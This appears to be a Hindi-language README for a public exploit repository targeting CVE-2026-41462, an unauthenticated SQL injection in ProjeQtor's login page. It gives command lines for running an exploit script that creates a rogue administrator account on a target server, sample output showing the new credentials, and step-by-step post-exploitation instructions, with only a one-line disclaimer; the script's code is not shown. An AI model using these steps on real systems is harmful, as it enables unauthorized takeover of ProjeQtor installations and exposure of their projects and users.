📌 अवलोकन

CVE-2026-41462, ProjeQtor प्रोजेक्ट प्रबंधन टूल की लॉगिन कार्यक्षमता में एक गंभीर बिना प्रमाणीकरण SQL इंजेक्शन भेद्यता है।

• CVE ID: CVE-2026-41462
• प्रभावित संस्करण: ProjeQtor 7.0 से 12.4.3
• पैच किया गया संस्करण: 12.4.4
• गंभीरता: गंभीर (CVSS 9.8)
• प्रकार: बिना प्रमाणीकरण स्टैक्ड SQL इंजेक्शन

---

🛠️ शोषण

उपयोग

python3 CVE-2026-41462.py -u http://target.com --create-admin

# With custom credentials
python3 CVE-2026-41462.py -u http://target.com --create-admin \
  --username admin123 --password StrongPass2026!

---

📊 यदि यह काम करता है तो आप क्या देखेंगे

जब शोषण सफल होता है, तो आपको इसके समान आउटपुट दिखाई देगा:

[+] Targeting: http://target.com
[+] Sending payload to create admin user 'hacker' ...
[+] Request sent successfully.
[+] New admin created → Username: hacker | Password: Admin123!
[+] Try logging in at: http://target.com/login.php

शोषण चलाने के बाद:

1. अपना ब्राउज़र खोलें और यहाँ जाएं:
   http://target.com/login.php

2. स्क्रिप्ट आउटपुट में दिखाई गई क्रेडेंशियल्स का उपयोग करके लॉगिन करें।

3. यदि सफल रहता है, तो आप पूर्ण प्रशासनिक विशेषाधिकारों के साथ ProjeQtor एडमिन डैशबोर्ड पर पहुंच जाएंगे।

सफलता संकेतक:

• आप सभी प्रोजेक्ट, उपयोगकर्ता और सिस्टम सेटिंग्स देख सकते हैं
• आप बिना किसी प्रतिबंध के प्रोजेक्ट बना/संपादित/हटा सकते हैं
• नया उपयोगकर्ता उपयोगकर्ता प्रबंधन अनुभाग में दिखाई देता है

---

📁 रिपॉजिटरी सामग्री

फ़ाइल	विवरण
CVE-2026-41462.py	मुख्य शोषण स्क्रिप्ट
CVE-2026-41462.yaml	Nuclei डिटेक्शन टेम्पलेट
README.md	यह दस्तावेज़

---

🚀 त्वरित प्रारंभ

1. रिपॉजिटरी क्लोन करें:

   git clone https://github.com/0xBlackash/CVE-2026-41462.git
   cd CVE-2026-41462
   

2. शोषण चलाएं:

   python3 CVE-2026-41462.py -u http://target.com --create-admin
   

3. नव निर्मित एडमिन खाते से लॉगिन करें।

---

⚠️ अस्वीकरण

यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत पेनेट्रेशन टेस्टिंग के लिए है। अनधिकृत उपयोग अवैध है।

---

📄 संदर्भ

• NVD - CVE-2026-41462
• आधिकारिक ProjeQtor पैच (v12.4.4+)

---